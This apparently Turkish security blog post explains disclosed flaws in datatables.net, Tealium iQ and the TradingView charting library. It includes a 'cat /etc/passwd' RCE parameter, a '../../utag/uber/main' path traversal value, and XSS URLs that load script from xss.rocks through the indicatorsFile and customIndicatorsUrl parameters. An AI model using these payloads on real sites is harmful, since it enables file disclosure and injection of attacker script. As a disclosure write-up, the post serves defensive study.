Bazı JavaScript Kütüphaneleri Ve Zafiyetleri


Herkese merhabalar. Bildiğimiz gibi websitelerin çoğu 3.taraf javascript kütüphaneleri kullanarak işlerini kolaylaştırır. Çoğu durumda, kütüphane verileri doğrudan servis sağlayıcısının etki alanından kolayca yüklenir. Ancak, üçüncü taraf kütüphaneleri bir web sitesinin veya uygulamanın parçası olarak kullanmak, şirketi potansiyel bir saldırıya karşı daha savunmasız bırakmaktadır. Binlerce büyük şirketi etkileyen popüler JavaScript kitaplıklarında bulunan üç güvenlik açığını anlatacam. İsterseniz başlayalım.

İlk JavaScript Kütüphanemiz: DATATABLES.NET

Datatables.net  , tablo verilerini HTML olarak görüntülemek için herkese açık ücretsiz bir kütüphane sunar. Ana sayfası  datatables.net  de bulunan bir .js kitaplık dosyası kullanarak önerir (cdn.datatables.net).

Bu, internet'teki birçok web sitesinin, cdn.datatables.net  kaynağını komut dosyalarının bir kaynağı olarak kullandığı ve bu kaynağın  tehlikeye girmesi durumunda tüm bu sitelere erişimin mümkün olacağı anlamına gelir. Aşağıda Cdn.datatables.net'ten bir kütüphane yükleyen site örneği görülmektedir.
Şirketin hizmetlerine göz atarken , arka uç tarafındaki özel tabloların oluşturulmasına ve test edilmesine olanak sağlayan https://editor.datatables.net/generator/ adlı uygulama keşfedildi  . Her yeni bir tablo oluşturulduğunda, sunucuda yeni bir PHP dosyası yaratıldı. PHP dosyasını oluşturmak için girdi parametrelerini filtrelemede bir delik kullanarak, bir RCE saldırısı üretilebilir(yapıldı): Kötü niyetli bir istek oluşturulan dosyaya isteğe bağlı PHP kodu enjekte edilebilir(edildi).
Oluşturulan dosyanın linkine tıklandığında ve parametreye 1=cat /etc/passwd eklendiğinde, /etc/passwd dosyanın içeriği elde edildi.
Bu güvenlik açığının, cdn.datatables.net adresindeki dosyalara erişmek için kullanılabildiği ve bu güvenlik  açığının yüz binden fazla sitedeki potansiyel olarak erişilmesine izin vermiştir.

İkinci JavaScript Kütüphanemiz: Tealium iQ
Burada ise "Path traversal" dediğimiz dizinler arası geçiş yapmamızı sağlayan açığa sahiptir. Tealium iQ Etiket Yönetim Sistemi  hizmeti web sitelerinde etiketlerini düzenlemek için birçok şirket tarafından kullanılmaktadır.  İlk örnekte olduğu gibi, bu hizmet üçüncü taraf bir etki alanından JavaScript kodu kullanılmasını gerektiriyor.

Bu güvenlik açığı, kullanıcının giriş değerinden alınan profil adı verilerinin yetersiz işlenmesi nedeniyle ortaya çıkmıştır. İşte profil verilerini göndermek için Tealium iQ gerekli kullandığı temel parametrelerdir tags.tiqcdn.com


https://tags.tiqcdn.com/utag/<Account Name>/<Profile Name>/prod/utag.js

Sorun sunucu karakterleri izin vermesidir / ve . profil adının kullanılacak. Bu tür karakterler, bir profilin yüklendiği dizini değiştirmek için kullanılabilir. Örneğin, profil adının bir değeri olması durumunda ../../utag/uber/main, kendi profil JavaScript kodu https://tags.tiqcdn.com/utag/uber/main/prod/utag.js adresine yüklenir ve bu şekilde gömülür. Tealium iQ’yu kullanan herhangi bir Uber web sitesinde bir örnek görülmektedir. Bu güvenlik açığı Uber Bug Bounty ve başka bir özel Bug Bounty programının bir parçası olarak tespit edildi ve araştırmacı kardeşlerimiz tarafından bildirildi.
Güvenlik açığının keşfedildiği sırada, Uber, Microsoft, Cisco, Intel ve binlerce başka sitenin web siteleri risk altındaydı.

Üçüncü Kütüphanemiz: TradingView Grafik Kütüphanesinde DOM Tabanlı XSS

TradingView Grafik Kütüphanesi cryptocurrency değişimi platformlarda çok popüler olarak kullanılır. Çoğu şifreleme borsası, bu kütüphane hizmetlerinde çevrimiçi ticaret çizelgeleri görüntülemek için bir işlev olarak kullanır. 24 Eylül 2018'de, yüksek riskli DOM Tabanlı XSS ​​ile kütüphanede açıklar ile ilgili veriler tanıtıldı . Bu kütüphaneyi kullanan tüm borsalar savunmasızdı. Hizmetlerinde TradingView Grafik Kitaplığı'nı kullanan herhangi bir web uygulaması, tv-chart.html sunucuda adı verilen herkese açık bir HTML dosyasını depolar . Bu dosya, işlem grafiklerini location.hash parametreleriyle başlatmak için kullanılır. Grafiklerin başlatılması sonucunda, aşağıdaki türdeki sayfaya iframe bağlantısı sayfaya yüklenir.

https://example.com/tradingview/en-tv-chart.x.html#symbol=BTC_ETH&interval=180&widgetbar=%7B%22details%22%3Afalse%2C%22watchlist%22%3Afalse%2C%22watchlist_settings%22%3A%7B%22default_symbols%22%3A%5B%5D%7D%7D&drawingsAccess=%7B%22type%22%3A%22black%22%7D&locale=en&uid=tradingview_36472&clientId=tradingview.com&userId=public_user&chartsStorageVer=1.0&debug=false&timezone=Asia%2FTaipei&theme=Dark

Güvenlik açığı, üçüncü taraf ticaret çizelgeleri yükleme işlevinde bulundu. İşlev, indicatorsFileparametrenin kullanıcı girişinden elde edilen bir bağlantıyı kullandı  ve kendisine aktardı  $.getScript().
Saldırgan Tarafından çalıştırılacak herhangi bir JavaScript kodunu çalıştıran hassas bir bağlantı aşağıdaki gibidir.
https://example.com/tradingview/en-tv-chart.x.html#disabledFeatures=[]&enabledFeatures=[]&indicatorsFile=//xss.rocks/xss.js
Kullanıcılar bu bağlantıyı tıkladığında, aşağıdaki kod yürütüldü: xss.rocks/xss.js.
Güvenlik açığı genel olarak duyurulduktan sonra TradingView   düzeltmek için yeni bir kütüphane sürümü yayımladı . Üçüncü taraf grafiklerinin yüklenmesinden sorumlu olan fonksiyon değiştirildi. Bu fonksiyonun yeni versiyonu aşağıdaki gibi görünüyordu.
Bu düzeltme yanlıştı ve güvenlik açığı customIndicatorsUrl parametre eklenirken diğer parametre kullanılarak yeniden oluşturulabilir uid=urlParams -> parametresi mesela...
https://example.com/tradingview/en-tv-chart.x.html#disabledFeatures=[]&enabledFeatures=[]&customIndicatorsUrl=//xss.rocks/xss.js&uid=urlParams
Bu andan itibaren, yeni bir kütüphane versiyonu yayınlandı. Bu güvenlik açığını tamamen giderir.  CoinMarketCap listesine dahil edilen tüm değişim platformları, hassas kütüphane sürümleri için test edildi. Sonuç olarak, en yüksek işlem hacmine sahip olanlar da dahil olmak üzere 90 savunmasız döviz hizmeti veren firma tespit edildi. Tüm savunmasız firmalar bu güvenlik açığından haberdar edildi. Bir kısmı kapattı bir kısmı dikkate almadı..:)

Bu yazıyı burada bitiriyorum. Kusurumuz hatamız olmuşsa AFFOLA. Başka bir yazıda görüşmek üzere..:)

Yorumlar

Bu blogdaki popüler yayınlar

Herşey Bir Tırnakla Başladı

NASA Reflected XSS Write Up